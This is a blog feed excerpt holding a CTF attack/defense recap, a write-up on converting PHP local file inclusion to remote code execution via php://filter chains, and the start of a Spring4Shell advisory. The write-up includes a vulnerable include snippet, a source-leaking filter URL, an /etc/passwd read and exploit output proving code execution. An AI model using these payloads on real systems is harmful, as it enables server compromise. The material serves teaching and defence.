<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-19022" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/2022-11-11-13_49_09-Clipboard.png" alt="" width="1440" height="684" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/2022-11-11-13_49_09-Clipboard.png 1440w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/2022-11-11-13_49_09-Clipboard-402x191.png 402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/2022-11-11-13_49_09-Clipboard-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/2022-11-11-13_49_09-Clipboard-768x365.png 768w" sizes="auto, (max-width: 1440px) 100vw, 1440px" /></p>
<p>The services had been<strong> intentionally modified to include vulnerabilities</strong>, misconfigurations and backdoors that can be exploited. Upon exploitation, for each service there was a <em>flag</em> file that could be stolen to bring points to the exploiting teams, and remove points from the victim. Flags were renewed every two minutes by the organizer&#8217;s bot, so <strong>teams were gaining and losing points as long as the services remained vulnerable</strong>.</p>
<p>There were also misconfigurations in the Docker containers and on the host that allowed for <strong>lateral movement between the services</strong>, escape from the containers and even <strong>privilege escalation to root</strong> for complete takeover and persistence.</p>
<p>Finally, to provide a kind of realism for the exercise, <strong>the teams had to keep the services operating or they would lose SLA points</strong>. Preventing the organizers to renew or read the flags also result in point loss.</p>
<p>Given the nature of the exercise, the teams were <strong>encouraged to patch their services</strong> during the CTF to remove the vulnerabilities. However, in doing so it was easy to damage a feature of the service and to lose points in the process: since the SLA checks were not documented, there was no way at first to know if we could remove the vulnerable part of the application or if we had to spend time to keep it running.</p>
<p> </p>
<h2>Let&#8217;s talk strategy!</h2>
<p>In this CTF format, there are few valid strategies to try and win the 1st place:</p>
<ul>
<li><strong>Focus on attack:</strong> there are many other teams so while they remain vulnerable, a single exploit could provide access to many flags and points</li>
<li><strong>Focus on defense:</strong> if the services are correctly patched and no persistence is established, it is easier to later focus on how to exploit while preventing point loss</li>
<li>Split the team to do a little bit of both</li>
</ul>
<p> </p>
<h3>The attack strategy</h3>
<p>The teams had <strong>one hour before the opening of the network links between each other</strong>, so this had to be spent to analyze their own services. The goal at this point is to <strong>quickly identify vulnerabilities</strong> that can be exploited in a few lines of codes, so configuration and code review is key:</p>
<ul>
<li>The little-known <em>grep</em> tool that allows for identification unsafe of function use (for example <em>shell_exec</em> and <em>system</em> in PHP, <em>execSync</em> in NodeJS, etc.)</li>
<li>The <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">LinPEAS</a> / <a href="https://github.com/diego-treitos/linux-smart-enumeration">Linux-Smart-Enumaration</a> open-source tools to find misconfigurations on the hosts</li>
</ul>
<p>Due to the fact that security issues had mainly been voluntarily introduced in the applications rather than embedded within the codebase in a complex way, this strategy is efficient: calls to vulnerable functions can easily be traced back to URL and API endpoints with few prerequisites for exploitation.</p>
<p>However, the downside is that <strong>exhaustivity is hard</strong>: the codebase and amount of misconfigurations is high enough not to find them in one hour. And with webshells appearing everywhere once the exercise starts, searching for code execution functions or public keys is not always representative.</p>
<p> </p>
<h3>The defense strategy</h3>
<p>This strategy is really all about <strong>preventing point loss rather than making points</strong>. On the long term, teams gain more points by exploiting the services than losing from not patching them, so it is <strong>not a viable strategy for the whole CTF</strong>.</p>
<p>The teams had been informed a couple weeks ago by the organizers about the nature of the exercise and on some details of the infrastructure. Therefore, <strong>teams had some time to prepare defense mechanisms</strong>, although the exact nature of challenges was not really known.</p>
<p>We also figured that <span style="text-decoration: underline;"><strong>visibility was key</strong></span>, for a lot of reasons: finding the nature of SLA checks, detecting exploit attempts, detecting flag leaks or communication with other teams infrastructure. In this effort, the following tools can be used to observe what&#8217;s happening in the infrastructure:</p>
<ul>
<li><strong>At the system level:</strong> <em>auditd</em>, and if motivated forwarding logs to a SIEM instance to automatically detect strange behavior</li>
<li><strong>At the application level:</strong> Apache logs and <em>mod_security</em> to find execution errors, malicious payloads and also block some of the attempts</li>
<li><strong>At the network level:</strong> <em>tcpdump</em>, <em>tshark</em> and <em>Wireshark</em>, which give the most insight on the other teams&#8217; activity towards our own infrastructure, but is limited by encrypted protocols and volumetry of traffic</li>
</ul>
<p> </p>
<h3>The &#8220;why not both&#8221; strategy</h3>
<p>Teams were limited to 5 people onsite, so this strategy may be the most efficient, it is not really optimal given the conditions of this exercise. However, it is still what most teams do because it is hard to properly organize on-the-fly. However, it can be optimized by assigning players on both attack and defense on a single service rather than specializing them in attack or defense.</p>
<p> </p>
<h2>What we did in practical</h2>
<p>During the pre-exercise phase, we thought that the ratio between binaries and web applications would be quite balanced, so we had to come up with protections for both:</p>
<ul>
<li><strong>For binaries</strong>, most of the exploits use vulnerabilities to launch a shell to read the flag, or the chain open-read-write operations to print the flag contents on the standard output. We tried to rely on the <strong>SECCOMP kernel feature</strong> that mimics a firewall logic (based on the BPF technology) to allow or prevent some system calls and apply constraints on their arguments: the goal here was to learn about that normal behavior, and block all deviations, either <em>execve</em> system calls to launch a shell or <em>open</em> system calls on the flag file.</li>
<li><strong>For web applications</strong>, we thought that deploying Apache <em>mod_security</em> was a good compromise in terms of setup complexity, gain in visibility and basic exploit prevention. We also came up with a list of functions that could be used in a malicious way, such as <em>system</em>, <em>shell_exec</em>, <em>eval</em> and so on.</li>
<li>Finally, since we knew there would be <strong>Docker containers</strong>, we thought about ensuring that none of them were too privileged to allow for container escape and host compromise.</li>
</ul>
<p>Finally, we knew about the flag system and the frequency of flag change, so we designed a <strong>Python orchestrator</strong> to run exploit scripts, collect flags, and submit them to the validation platform.</p>
<p>On D-Day, during configuration review on the hosts, we noticed that <strong>SECCOMP had been disabled at the kernel level</strong>, so our winning strategy took its first hit. However, there was only 1 binary for 6 web applications, so its efficiency would have been limited.</p>
<p>We spent the first hour trying to <strong>identify the quick win vulnerabilities</strong> and found some of them. We swiftly developed <strong>scripts to exploit them</strong> with our orchestrator and thought that we were ready for the opening of communication between teams. <strong>We were not</strong>. Almost half of the teams had patched the vulnerabilities we had found, and many of them were stealing flags we thought we had patched vulnerabilities for. We realized at this point that for each flag there would be many more vulnerabilities leading to their theft.</p>
<p>We quickly decided to <strong>increase our visibility</strong> on the situation by running <em>tcpdump</em> and analyzing the traces with <em>Wireshark</em> and what we observed was a lot of different exploits. Patching the issues was not as easy as initially thought due to the potential number of entry points and the impact of the patches on the services. However, by <strong>looking at other people exploits</strong>, we were able to <strong>replicate them</strong> and launch them at other teams to compensate for the points that we were loosing.</p>
<p>At one time, we noticed that one of our exploits, which should have been working, did not. We had code execution on a server, but it was impossible to read the flag files: the team had found a way (which was borderline anti-game in our mind, but still) to make the flag unreadable by the vulnerable services and only to the organizers. This lead us to <strong>tighten the host security</strong> by focusing on <strong>least privilege strategy</strong>:</p>
<ul>
<li>The flags should in theory not be read by more than the user launching the service and the organizer&#8217;s account</li>
<li>Teams were actively exploiting one service to dump all flags at once</li>
<li>Therefore, we decided to create new groups on the host restricted to these users, and make the flags unavailable to other service accounts</li>
</ul>
<p>This became quite efficient, and the visibility we gained gave us much insight and what could be exploited and what needed to be patched. Due to our hardening actions, <strong>we had finally reduced the amount of points lost</strong> due to flag stealing, so we had time to<strong> focus on creating exploits</strong>, some of them quite basic, but which worked on almost half of the teams until the end!</p>
<p>Two or three hours before the end, a few teams managed to break out of the containers and services to get root permissions on other teams boxes. They quickly began to <strong>install persistence,</strong> create flag stealing scheduled tasks, and perform binary backdooring. At this point, at every tick of the exercise, they were stealing all four flags from each VM effortlessly which gave them lots of points, locking the podium away. Like in real-life, it becomes very complex to eliminated the persistence due to the simplicity of reinstalling it in opposition to the number of entry points to patch.</p>
<p>Our strategy designed on-the-fly still <strong>granted us the 4th place</strong>, which was a nice surprise for us:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19014  aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/photo_6012721676736903843_y-e1668166077816.jpg" alt="" width="679" height="422" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/photo_6012721676736903843_y-e1668166077816.jpg 1225w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/photo_6012721676736903843_y-e1668166077816-307x191.jpg 307w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/photo_6012721676736903843_y-e1668166077816-63x39.jpg 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/photo_6012721676736903843_y-e1668166077816-768x477.jpg 768w" sizes="auto, (max-width: 679px) 100vw, 679px" /></p>
<p> </p>
<h2>Takeaways</h2>
<p>We really did appreciate the <strong>format of the exercise</strong> and its <strong>quality</strong>. It was a welcomed change from the standard jeopardy format we had been playing for years and it forced us to think differently. In some ways it was much closer to our pentester / incident responder daily jobs:</p>
<ul>
<li>Sometimes we have to focus on impacting vulnerabilities rather than exhaustivity, for example during red team assignments from the Internet</li>
<li>It gave us insight on the complexity of patching vulnerable applications in a limited timeframe with limited to no impact on its business features</li>
<li>It highlights the effect of stress during situations such as cyber crisis where organization between actors is the key factor, but too often neglected in favor of other seemingly important actions </li>
</ul>
<p> </p>
<p>However, if we take a step back, we also noticed that:</p>
<ul>
<li>The complexity of organizing such an event is really high: the system and network infrastructure would need to be perfect in every way for it to work as intended. But there are always unplanned issues and bugs which allow for bypassing some of the game&#8217;s rules and the limit between fairness and antigaming is often blurry.</li>
<li>Due to the limited time of the exercise, we almost never had the time to implement recommandations that we would communicate to our clients after a pentest. There were too many hotfixes with limited efficiency and even more limited clarity.</li>
</ul>
<p> </p>
<p>I would like to conclude this article by really <strong>thanking all the actors involved in this event</strong>:</p>
<ul>
<li>The <strong>organizers</strong> Defcamp team and CyberEdu for setting up this exercice</li>
<li>The <strong>other teams</strong>, for letting us exploit their vulnerabilities and for coming up with always inventive exploits, patches and backdoors</li>
<li>My colleagues from <strong>YoloSw4g</strong> team: Maxime MEIGNAN, Gauthier SEBAUX, Thomas DIOT, Yoann DEQUEKER</li>
<li>All CTF players from Wavestone who keep the team alive and allow us to participate in these competitions</li>
</ul>
<p> </p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-19017 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/31d27270-4c47-4769-88c9-edb53549b712-e1668167165995.jpeg" alt="" width="1280" height="662" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/31d27270-4c47-4769-88c9-edb53549b712-e1668167165995.jpeg 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/31d27270-4c47-4769-88c9-edb53549b712-e1668167165995-369x191.jpeg 369w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/31d27270-4c47-4769-88c9-edb53549b712-e1668167165995-71x37.jpeg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/31d27270-4c47-4769-88c9-edb53549b712-e1668167165995-768x397.jpeg 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></p>
<p> </p>
<p style="text-align: right;"><strong>Jean MARSAULT</strong></p>
<p> </p>
<p> </p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/11/defcamp-finals-2022-feedback-on-our-first-attack-defense-ctf/">Defcamp finals 2022: Feedback on our first Attack/Defense CTF</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/11/defcamp-finals-2022-feedback-on-our-first-attack-defense-ctf/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Barb&#8217;hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Tue, 06 Sep 2022 16:29:02 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18718</guid>

					<description><![CDATA[<p>For the third consecutive time, the French city of Toulon hosted the French southernmost hacking event known as Barb&#8217;hack. We &#8211; two of Wavestone security auditors &#8211; have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF) event...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/">Barb&#8217;hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>For the third consecutive time, the French city of Toulon hosted the <em>French southernmost hacking event</em> known as <a href="https://www.barbhack.fr/2022/en/"><strong>Barb&#8217;hack</strong></a>. We &#8211; two of Wavestone security auditors &#8211; have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF) event during the night.</p>
<p> </p>
<h3>Context</h3>
<p>The CTF featured many challenges across many categories (reverse, binary exploitation, crypto, forensics, etc.), but one of the web application challenges kept us busy for long. The challenge presented itself as a simple PHP web application with multiple pages, and the user could switch between them by changing the <code>?p=</code> GET parameter available. This usually results in a <strong>Local File Inclusion (LFI) </strong>vulnerability, with the backend PHP code being one of:</p>
<pre class="w-code"><span class="sc18">&lt;?php</span>

<span class="sc121">include</span> <span class="sc123">$_GET</span><span class="sc127">[</span><span class="sc120">'p'</span><span class="sc127">];</span>
<span class="sc121">include</span> <span class="sc120">'includes/'</span> <span class="sc127">.</span> <span class="sc123">$_GET</span><span class="sc127">[</span><span class="sc120">'p'</span><span class="sc127">];</span>
<span class="sc121">include</span> <span class="sc123">$_GET</span><span class="sc127">[</span><span class="sc120">'p'</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc120">'.php'</span><span class="sc127">;</span>

<span class="sc18">?&gt;</span></pre>
<p>These codes (and all derivatives) allow users to include almost any file from the server hosting the application and to which the web server service account (usually <em>www-data</em>) has access. In many cases, malicious users can exfiltrate data, leak the application source code, unveil secrets and passwords, etc. But in few specific ones, it is also possible to achieve <strong>Remote Code Execution (RCE)</strong>. Over the years, the number of techniques on which one could rely to transform an LFI into an RCE grew in size, with the following examples:</p>
<ul>
<li>Abusing the <code>PHP_SESSION_UPLOAD_PROGRESS</code> (<a href="https://blog.orange.tw/2018/10/">Orange</a>)</li>
<li>Abusing arbitrary data in PHP sessions (<a href="https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/#rce-using-control-over-php-session-values">RCE Security</a>)</li>
<li>Abusing nginx&#8217;s temporary files (<a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files">Hacktricks</a>)</li>
<li>Using <code>phpinfo()</code>, <code>php://input</code>, <code>zlib://compress</code>, etc.</li>
</ul>
<p>One common element about all these techniques is that they all rely on (at least) an additional requirement. If not present, the LFI cannot be converted into RCE, and the pentester gets sad.</p>
<p> </p>
<h3>The usual trick</h3>
<p>The web application we had under scrutiny was unfortunately so simple that all of these techniques did not work. We tried to exfiltrate interesting files from the server (<code>/etc/passwd</code>, Apache/nginx virtual host configuration, process environment, etc.) but nothing interested could be found.</p>
<p>Using this technique, it is not possible at first to exfiltrate PHP source files, since they are executed when they enter the <code>include</code> or <code>require</code> statement. However, it is possible to rely on the <code>php://</code> stream and its <code>filter</code> function to apply a Base64 encoding before including the file, therefore changing the active content into innocent plaintext. For example: <code>http://webapp/?p=php://filter/convert.base64-encode/resource=index.php</code>.</p>
<p>Though this trick worked, it only showed that there was not interesting content or flag within the available source code. Time to dig deeper!</p>
<p> </p>
<h3>Universal PHP LFI to RCE</h3>
<p>After many <del>minutes</del> hours of research, we finally came across this <a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters">recent article</a> (2 months) by Hacktricks, that explained how the same <code>php://filter</code> trick could be used (in combination with other encoding filters) to <strong>produce arbitrary content</strong>. This allows for <strong>generating a Base64-encoded minimalist webshell</strong>, which can be decode by a final <code>convert.base64-decode</code> filter into active PHP content.</p>
<p>But exactly <strong>how is generated this arbitrary content, from uncontrolled sources</strong>? The first thing to notice is that the exploit requires knowing the path of a file with read access (such as <code>/etc/passwd</code>), but the content of the file is almost irrelevant (it only needs some printable characters in the file).</p>
<p>The whole exploit leverages the special <code>convert.iconv.UTF8.CSISO2022KR</code> encoding filter. Its particularity is that it <strong>prepends the output string</strong> with <span data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiU1QyU1Q3gxYiUyNClDJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjg2NTcwNGFkOGFkNjRmZWQ4ZjA2OTcxMzlhYzlhYTc0JTIyJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyZTQyZjkzZGU1ODkxNGQ3Yjk0Y2ZiNDYwYjYxMzJjMDYlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJjOGNlYmE4MTdkYzI0ZjVkYThmMjViZGRhZDNkNmM3YyUyMiU3RA=="><code>\x1b$)C</code>, therefore generating some semi-known content (there will always be the character <strong>&#8220;C&#8221;</strong>). Then, it uses the <code>convert.base64-decode</code> filter (which is extremely tolerant on characters not in the Base64 set) to remove the unprintable part of the string, followed by <code>convert.base64-encode</code> to restore our uppercase <strong>&#8220;C&#8221;</strong>. Finally, if the Base64 encoding produced equal signs (which could disturb the behaviour of subsequent operations), they can be removed with the <code>convert.iconv.UTF8.UTF7</code> filter.</span></p>
<p>The same way we can now produce the <strong>&#8220;C&#8221;</strong> character, the authors of the exploit managed to find chaining of encodings that can produced any character from the Base64 set, most importantly prepending a user-controlled string. By combining all the filter chains for all characters for the known Base64-encoded webshell string (in reverse order), the exploit generates said string, followed by lots of (printable) garbage. The final <span data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiU1QyU1Q3gxYiUyNClDJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTJDJTIyc2VsZWN0aW9ucyUyMiUzQSU1QiU1RCU3RCU1RCUyQyUyMmtleSUyMiUzQSUyMjg2NTcwNGFkOGFkNjRmZWQ4ZjA2OTcxMzlhYzlhYTc0JTIyJTdEJTVEJTJDJTIya2V5JTIyJTNBJTIyZTQyZjkzZGU1ODkxNGQ3Yjk0Y2ZiNDYwYjYxMzJjMDYlMjIlN0QlNUQlMkMlMjJrZXklMjIlM0ElMjJjOGNlYmE4MTdkYzI0ZjVkYThmMjViZGRhZDNkNmM3YyUyMiU3RA=="><code>convert.base64-decode</code> filter <strong>decodes the webshell</strong> (and the garbage), and the <code>include()</code> or <code>require()</code> statement <strong>executes it</strong>!</span></p>
<p> </p>
<h3>Proof of Concept</h3>
<p>What better testing environment than a clean and up-to-date docker container. Let&#8217;s build our Dockerfile:</p>
<pre>FROM debian:latest

RUN apt update --fix-missing &amp;&amp; \<br />    apt upgrade -y &amp;&amp; \<br />    apt install -y apache2 libapache2-mod-php php
WORKDIR /var/www/html

VOLUME ["/var/www/html"]

ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data
ENV APACHE_LOG_DIR /var/log/apache2
ENV APACHE_PID_FILE /var/run/apache2.pid
ENV APACHE_RUN_DIR /var/run/apache2
ENV APACHE_LOCK_DIR /var/lock/apache2

RUN mkdir -p $APACHE_RUN_DIR $APACHE_LOCK_DIR $APACHE_LOG_DIR
EXPOSE 80

ENTRYPOINT [ "/usr/sbin/apache2" ]
CMD ["-D", "FOREGROUND"]</pre>
<p>Let&#8217;s also prepare our vulnerable PHP file:</p>
<pre>&lt;?php include $_GET['p']; ?&gt;</pre>
<p>And finally build and test it:</p>
<pre class="w-code"><span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">docker build .</span>
...
Successfully built 23dc284ec248

<span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">docker run --rm -p 11111:80 --mount type=bind,source=$(pwd)/www,target=/var/www/html 23dc284ec248</span>

<span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">curl 'http://localhost:11111/?p=<span class="w-grepped">/etc/passwd</span>'</span>
root:x:0:0:root:/root:/bin/bash
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</pre>
<p>Finally, we can slightly adapt <a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters#full-script">Hacktricks&#8217; script</a> to target our local URL and use a different parameter:</p>
<pre class="w-code"><span class="w-root">root </span>@ <span class="w-server">server </span>$ <span class="w-cli">python3 attack.py | hexdump -C | less</span>

00000000  75 69 64 3d 33 33 28 77  77 77 2d 64 61 74 61 29  |<span class="w-grepped">uid=33(www-data)</span>|
00000010  20 67 69 64 3d 33 33 28  77 77 77 2d 64 61 74 61  |<span class="w-grepped"> gid=33(www-data</span>|
00000020  29 20 67 72 6f 75 70 73  3d 33 33 28 77 77 77 2d  |<span class="w-grepped">) groups=33(www-</span>|
00000030  64 61 74 61 29 0a 0a 06  ef bf bd 0a 50 dc 9b ef  |<span class="w-grepped">data)</span>.......P...|
00000040  bf bd ef bf bd 0e ef bf  bd 0e ef bf bd 0e ef bf  |................|
00000050  bd 0e ef bf bd ef bf bd  ef bf bd ef bf bd 0e ef  |................|
00000060  bf bd dc 9b ef bf bd ef  bf bd 0e ef bf bd d8 9a  |................|
00000070  5b ef bf bd d8 98 5c ef  bf bd 02 ef bf bd 18 59  |[.....\........Y|
00000080  5b 5b db 8e ef bf bd 0e  ef bf bd 4e ef bf bd 4e  |[[.........N...N|
....</pre>
<h3> </h3>
<h3>Preventing</h3>
<p>There are many ways one can prevent a malicious user from turning a (not so) benign LFI into a full-blown RCE:</p>
<pre class="w-code"><span class="sc18">&lt;?php</span>

<span class="sc125">// Do not use this!</span>
<span class="sc121">while</span><span class="sc127">(</span><span class="sc121">strpos</span><span class="sc127">(</span><span class="sc123">$payload</span><span class="sc127">,</span> <span class="sc120">'filter'</span><span class="sc127">)!==</span><span class="sc121">FALSE</span><span class="sc127">)</span> <span class="sc127">{</span> <span class="sc123">$payload</span> <span class="sc127">=</span> <span class="sc121">str_replace</span><span class="sc127">(</span><span class="sc120">'filter'</span><span class="sc127">,</span> <span class="sc120">''</span><span class="sc127">,</span> <span class="sc123">$payload</span><span class="sc127">);</span> <span class="sc127">}</span> 


<span class="sc125">// Slightly better, but still...</span>
<span class="sc123">$payload</span> <span class="sc127">=</span> <span class="sc120">'./'</span> <span class="sc127">.</span> <span class="sc123">$payload</span><span class="sc127">;</span>


<span class="sc125">// Leverage builtin functions!</span>
<span class="sc121">assert</span><span class="sc127">(</span><span class="sc121">stream_wrapper_unregister</span><span class="sc127">(</span><span class="sc120">'php'</span><span class="sc127">));</span>

<span class="sc18">?&gt;</span></pre>
<p> </p>
<p style="text-align: right;"><strong>That&#8217;s all folks!</strong></p>
<p><style type="text/css">
.sc18 { font-weight: bold; color: rgb(127, 159, 127); font-family: monospace !important; }
.sc118 { font-family: monospace !important; }
.sc120 { color: rgb(204, 147, 147); font-family: monospace !important; }
.sc121 { font-weight: bold; color: rgb(223, 196, 125); font-family: monospace !important; }
.sc123 { font-weight: bold; color: rgb(206, 223, 153); font-family: monospace !important; }
.sc127 { font-weight: bold; color: rgb(159, 157, 109); font-family: monospace !important; }
pre.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }
.w-user { color: cornflowerblue; font-family: monospace !important; }
.w-root { color: lightcoral; font-family: monospace !important; }
.w-server { color: chartreuse; font-family: monospace !important; }
.w-cli { color: lightskyblue; font-family: monospace !important; }
.w-grepped { color: red; font-family: monospace !important; }
.w-all { font-family: monospace !important; }
.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }
</style></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/">Barb&#8217;hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Identity card of the Spring4Shell vulnerability by CERT-W</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/04/identity-card-of-the-spring4shell-vulnerability-by-cert-w/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/04/identity-card-of-the-spring4shell-vulnerability-by-cert-w/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Tue, 12 Apr 2022 17:32:00 +0000</pubDate>
				<category><![CDATA[CERT Newsletter]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[EthicalHacking]]></category>
		<category><![CDATA[IDCard]]></category>
		<category><![CDATA[Sping4Shell]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=17942</guid>

					<description><![CDATA[<p>    Overview Spring is a lightweight opensource application framework for Java. It allows for easy development and testing of Java applications. Spring is used to create Java enterprise applications. It provides means to build applications and supports different scenarios....</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/04/identity-card-of-the-spring4shell-vulnerability-by-cert-w/">Identity card of the Spring4Shell vulnerability by CERT-W</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p> </p>
<p> </p>
<h1>Overview</h1>
<p>Spring is <b>a lightweight opensource application framework for Java</b>. It allows for easy development and testing of Java applications. <br />Spring is used to create Java enterprise applications. It provides means to build applications and supports different scenarios. <br />A new vulnerability was found in Spring Core leading to a <b>Remote Code Execution</b>.</p>
<p>On March 31st, a CVE was released: <b>Spring4Shell</b> (<a href="https://tanzu.vmware.com/security/cve-2022-22965">CVE-2022-22965</a>)</p>
<p><img loading="lazy" decoding="async" class=" wp-image-17724 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image2sping.png" alt="" width="719" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image2sping.png 1147w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image2sping-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image2sping-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image2sping-768x432.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image2sping-800x450.png 800w" sizes="auto, (max-width: 719px) 100vw, 719px" /></p>
<h1>Exploitability</h1>
<h2><b>Prerequisites</b></h2>
<p>/ JDK9.0 or higher</p>
<p>/ Spring Framework <b>5.3.0 to 5.3.17 </b>or <b>5.2.0 to 5.2.19</b> &amp; older versions</p>
<p>/ Apache Tomcat as the servlet container</p>
<p>/ <i>Spring-</i><i>webmvc</i> or <i>spring-</i><i>web</i><i>flux</i> dependency</p>
<p>/ Packaged as a traditional WAR</p>
<h2 style="text-align: left;"><b>Risks </b></h2>
